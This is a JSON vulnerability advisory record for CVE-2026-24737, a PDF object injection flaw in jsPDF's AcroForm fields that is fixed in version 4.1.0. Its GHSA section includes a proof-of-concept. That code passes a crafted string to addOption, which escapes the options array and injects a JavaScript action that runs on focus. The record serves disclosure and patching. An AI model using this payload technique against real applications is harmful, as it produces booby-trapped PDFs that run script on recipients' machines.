{"id":"CVE-2026-24737","aliases":["CVE-2026-24737","GHSA-pqxr-3g65-p328"],"related":[],"kind":"vulnerability","state":"published","title":"jsPDF has a PDF Injection in AcroFormChoiceField which allows Arbitrary JavaScript Execution","summary":"jsPDF is a library to generate PDFs in JavaScript. Prior to 4.1.0, user control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are AcroformChoiceField.addOption, AcroformChoiceField.setOptions, AcroFormCheckBox.appearanceState, and AcroFormRadioButton.appearanceState. The vulnerability has been fixed in jsPDF@4.1.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"jsPDF is a library to generate PDFs in JavaScript. Prior to 4.1.0, user control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are AcroformChoiceField.addOption, AcroformChoiceField.setOptions, AcroFormCheckBox.appearanceState, and AcroFormRadioButton.appearanceState. The vulnerability has been fixed in jsPDF@4.1.0.","source":"cvelist"},{"lang":"en","text":"### Impact\n\nUser control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.\n\nIf given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:\n\n* `AcroformChoiceField.addOption`\n* `AcroformChoiceField.setOptions`\n* `AcroFormCheckBox.appearanceState`\n* `AcroFormRadioButton.appearanceState`\n\nExample attack vector:\n\n```js\nimport { jsPDF } from \"jspdf\"\nconst doc = new jsPDF();\n\nvar choiceField = new doc.AcroFormChoiceField();\nchoiceField.T = \"VulnerableField\";\nchoiceField.x = 20;\nchoiceField.y = 20;\nchoiceField.width = 100;\nchoiceField.height = 20;\n\n// PAYLOAD:\n// 1. Starts with \"/\" to bypass escaping.\n// 2. \"dummy]\" closes the array.\n// 3. \"/AA\" injects an Additional Action (Focus event).\n// 4. \"/JS\" executes arbitrary JavaScript.\nconst payload = \"/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [\";\n\nchoiceField.addOption(payload);\ndoc.addField(choiceField);\n\ndoc.save(\"test.pdf\");\n```\n\n### Patches\n\nThe vulnerability has been fixed in jsPDF@4.1.0.\n\n### Workarounds\nSanitize user input before passing it to the vulnerable API members.\n\n### Credits\nResearch and fix: Ahmet Artuç","format":"markdown","source":"ghsa"},{"lang":"es","text":"jsPDF es una biblioteca para generar PDFs en JavaScript. Antes de 4.1.0, el control del usuario sobre las propiedades y métodos del módulo Acroform permite a los usuarios inyectar objetos PDF arbitrarios, como acciones JavaScript. Si se da la posibilidad de pasar entrada no saneada a uno de los siguientes métodos o propiedades, un usuario puede inyectar objetos PDF arbitrarios, como acciones JavaScript, que se ejecutan cuando la víctima abre el documento. Los miembros de la API vulnerables son AcroformChoiceField.addOption, AcroformChoiceField.setOptions, AcroFormCheckBox.appearanceState y AcroFormRadioButton.appearanceState. La vulnerabilidad ha sido corregida en jsPDF@4.1.0.","source":"nvd"}],"published":"2026-02-02T18:29:49.000Z","modified":"2026-09-10T03:50:59.528Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"}],"cwes":["CWE-116","CWE-917"],"affected":[{"ranges":[{"version":"< 4.1.0","status":"affected"}],"vendor":"parallax","product":"jsPDF","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1773235880","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4.8","package":"advanced-cluster-security/rhacs-main-rhel8","cpe":"cpe:/a:redhat:advanced_cluster_security:4.8::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1773235860","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4.9","package":"advanced-cluster-security/rhacs-main-rhel8","cpe":"cpe:/a:redhat:advanced_cluster_security:4.9::el8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4","package":"advanced-cluster-security/rhacs-central-db-rhel8","cpe":"cpe:/a:redhat:advanced_cluster_security:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4","package":"advanced-cluster-security/rhacs-rhel8-operator","cpe":"cpe:/a:redhat:advanced_cluster_security:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4","package":"advanced-cluster-security/rhacs-roxctl-rhel8","cpe":"cpe:/a:redhat:advanced_cluster_security:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4","package":"advanced-cluster-security/rhacs-scanner-v4-db-rhel8","cpe":"cpe:/a:redhat:advanced_cluster_security:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Security 4","package":"advanced-cluster-security/rhacs-scanner-v4-rhel8","cpe":"cpe:/a:redhat:advanced_cluster_security:4","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"4.1.0"}],"ecosystem":"npm","package":"jspdf","purl":"pkg:npm/jspdf","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.1.0"}],"vendor":"parall","product":"jspdf","cpe":"cpe:2.3:a:parall:jspdf:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/parallax/jsPDF/security/advisories/GHSA-pqxr-3g65-p328","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/parallax/jsPDF/commit/da291a5f01b96282545c9391996702cdb8879f79","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/parallax/jsPDF/releases/tag/v4.1.0","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-24737","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2436115","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24737.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:4466","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:4467","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24737","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/parallax/jsPDF","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-02-03T15:07:06.608Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-24737","url":"https://www.cve.org/CVERecord?id=CVE-2026-24737","licence":"CVE Terms of Use","modified":"2026-08-18T12:05:36.324Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-pqxr-3g65-p328","url":"https://github.com/advisories/GHSA-pqxr-3g65-p328","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:59.528Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-24737","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24737","licence":"Public domain","modified":"2026-08-18T12:17:44.733Z"}],"updatedAt":"2026-11-25T22:59:13.376Z","epss":{"score":0.00708,"percentile":0.49209,"date":"2026-11-30T12:00:22.000Z"}}